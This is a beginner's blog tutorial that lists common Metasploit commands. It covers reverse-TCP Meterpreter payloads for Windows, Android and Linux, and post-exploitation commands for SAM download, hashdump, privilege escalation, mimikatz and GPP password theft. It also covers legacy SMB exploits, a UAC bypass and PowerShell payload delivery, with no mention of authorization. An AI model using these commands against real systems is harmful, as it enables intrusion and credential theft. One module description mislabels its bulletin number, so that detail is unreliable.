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MetaSploit Commands and Meterpreter Payloads – MetaSploit for Beginners

by Mubi 

MetaSploit Commands and Meterpreter Payloads - MetaSploit for Beginners

Metasploit framework is one of the most advanced and one of the favorite tool for pen testers and security researchers. It was developed by the H.D. Moore in Perl language which later in 2007 was revised in Ruby completely. With it’s high success and demand in security researchers and pen-testers, in 2009, MetaSploit was acquired by the Rapid7 a well known security researcher company.  Learn most commonly used metasploit commands in this metasploit for beginners guide.

Metasploit is a complete tools suite for penetration testers and hackers as it’s pre-packaged with all the pen-testing tools for hacking into a remote machine and web applications. It’s one of the most advanced tool for hackers and reseachers. MetaSploit is a very large framework that each of it’s module have tons of actions one can perform. To make it easier for new users, we have listed some of the most commonly used metasploit commands meterpreter payloads you can practice and perform.

MetaSploit for Beginners

There’s three types of Metasploit commands.

  1. Basic commands (These are the very basic operation commands like search, help, info and exit.)
  2. Exploit commands (Exploit commands are the ones used to check out all the exploit options, payloads and targets.)
  3. Exploit execution commands (These are post exploit commands that exploits and execute different operations on a target machine.)

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All the most commonly used and Metasploit BasicExploit and Exploit Execuation commands for beginners to learn are:

  • First of all, to update the Metasploit framework to it’s latest version. Execute the following command.
apt update; apt install metasploit-framework
  • To check out all the msfconsole and metasploit options, use the following help command.
msfconsole/help
  • Metasploit search command is used to search for exploits and vulnerabilities from msfconsole.
search
  • To see a list of all the payload options to attack a target machine.
show options

  • The following command is used to check and set listening IP and PORT of the HOST machine to set a static IP and port forwarding to any specified port.
LHOST
LPORT
  • To check out the list all the payloads for an exploit.
show payloads
  • To find all the vulnerable operating systems to a specified exploit.
show targets
  • To show advanced options and commands for exploit.
show advanced
  • Show encoders command returns all the encoders. Encoders used for evading simple IDS/IPS signatures that are looking for certain bytes of your payload.
show encoders
  • This command will give a list of Nop generators. It is used to change the pattern of a NOP sled in order to bypass simple IDS/IPS signatures of common NOP.
show nops

MetaSploit Command & Meterpreter Payloads

Windows Reverse Meterpreter Payload

Command Description
set payload windows/meterpreter/reverse_tcp Used for Reverse TCP Windows Payload

Android Reverse Meterpreter Payload

Command Description
set payload android/meterpreter/reverse_tcp Used for Reverse TCP Android Payload

Windows VNC Meterpreter Payload

Command Description
set payload windows/vncinject/reverse_tcpset ViewOnly false Used for Reverse TCP Windows VNC Payload

Linux Reverse Meterpreter Payload

Command Description
set payload linux/meterpreter/reverse_tcp Used for Reverse TCP Linux Payload

Meterpreter Commands

Check out the most useful and commonly used meterpreter commands.

Command Description
upload file c:\\windows Meterpreter command for uploading file to a Windows OS target machine.
download c:\\windows\\repair\\sam /tmp Meterpreter command for downloading file from a Windows OS target device.
execute -f c:\\windows\temp\exploit.exe To execute exploits on a remote victim machine.
execute -f cmd -c To create a new channel with cmd shell.
ps Shows all the Meterpreter processes.
shell Meterpreter get shell on the target.
getsystem This meterpreter command attempts the priviledge escalation on the target device.
hashdump It is used to dump hashes on the target system.
portfwd add –l 3389 –p 3389 –r target Meterpreter command for port forwarding to victim machine.
portfwd delete –l 3389 –p 3389 –r target Meterpreter removes port forwarding.

MetaSploit Exploits

Explore all of the most commonly used metasploit exploits.

Remote Windows MetaSploit Exploits

All the exploits for attacking a WindowsOS machines remotely.

Command Description
use exploit/windows/smb/ms08_067_netapi Remote Exploit for the machines with Windows versions MS08_067 Windows 2k, XP, 2003
use exploit/windows/dcerpc/ms06_040_netapi Remote Exploit for the machines with Windows versions MS08_040 Windows NT, 2k, XP, 2003
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
Remote Exploit for the machines with Windows versions MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86)

Post Exploit Windows Metasploit Modules

Command Description
run post/windows/gather/win_privs Metasploit command to show all the privileges and permissions of the current user.
use post/windows/gather/credentials/gpp This Metasploit command grabs all GPP saved passwords.
load mimikatz -> wdigest Metasplit loads Mimikatz.
run post/windows/gather/local_admin_search_enum Searches all machines with administrative access.

Local Windows MetaSploit Exploits

Exploits to work with a local machine.

Command Description
use exploit/windows/local/bypassuac Used for UAC (User Account Control) Bypass on Windows 7 systems.

Auxilary MetaSploit Modules

Command Description
use auxiliary/scanner/http/dir_scanner Metasploit scanner tool used to scan HTTP directory.
use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS used for vulnerability scanning.
use auxiliary/scanner/mssql/mssql_login Metasploit Credential Scanner tool used for MSSQL.
use auxiliary/scanner/oracle/oracle_login Metasploit scanner used for Oracle Login Module.

Metasploit Powershell Exploits

Command Description
use exploit/multi/script/web_delivery Metasploit shell payload delivery exploit.
post/windows/manage/powershell/exec_powershell Uploads the shell to target and run powershell.
use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy.
use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload.

There’s hundreds of more actions and commands you can play with, but these are the most commonly used Metasploit commands for taking over a computer, smartphone, web apps and more. Hope this metasploit for beginners guide would be useful for you to learn working with MetaSploit.

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